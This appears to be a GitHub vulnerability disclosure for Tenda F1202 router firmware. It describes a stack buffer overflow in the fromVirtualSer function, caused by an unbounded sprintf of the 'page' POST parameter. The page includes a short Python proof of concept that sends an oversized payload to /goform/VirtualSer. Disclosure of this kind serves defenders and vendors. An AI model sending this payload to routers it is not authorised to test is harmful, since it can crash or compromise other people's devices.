Skip to content

Latest commit

 

History

History
30 lines (19 loc) · 1.01 KB

fromVirtualSer.md

File metadata and controls

30 lines (19 loc) · 1.01 KB

Overview

Affected version

F1202 V1.2.0.20(408)

Vulnerability details

The Tenda F1202 V1.2.0.20(408) firmware has a stack overflow vulnerability located in the fromVirtualSer function. This function accepts the page parameter from a POST request. The statement sprintf(v5, "nat_virtualser.asp?page=%s", v3); leads to a buffer overflow. The user-supplied page can exceed the capacity of the v5 array, thus triggering this security vulnerability.

image-20240409100526808

POC

import requests
from pwn import*

ip = "192.168.84.101"
url = "http://" + ip + "/goform/VirtualSer"
payload = b"a"*1000

data = {"page": payload}
response = requests.post(url, data=data)
print(response.text)

image-20240409100557300